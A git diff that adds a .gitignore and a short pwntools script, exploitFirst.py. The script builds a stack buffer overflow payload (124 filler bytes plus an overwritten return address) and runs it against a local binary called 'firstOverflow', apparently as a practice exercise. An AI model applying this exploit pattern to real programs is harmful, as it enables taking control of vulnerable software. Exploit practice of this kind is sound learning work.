diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8f8f28c --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*~ +peda* +.gdb_history \ No newline at end of file diff --git a/exploitFirst.py b/exploitFirst.py new file mode 100644 index 0000000..68bee53 --- /dev/null +++ b/exploitFirst.py @@ -0,0 +1,9 @@ +from pwn import * + + +payload = "A"*124 #Offset +payload += p32(0x565561dd) #Address +print(payload) +## Create a connection to the binary +p = process(["firstOverflow", payload])#payload], shell=True) +p.interactive()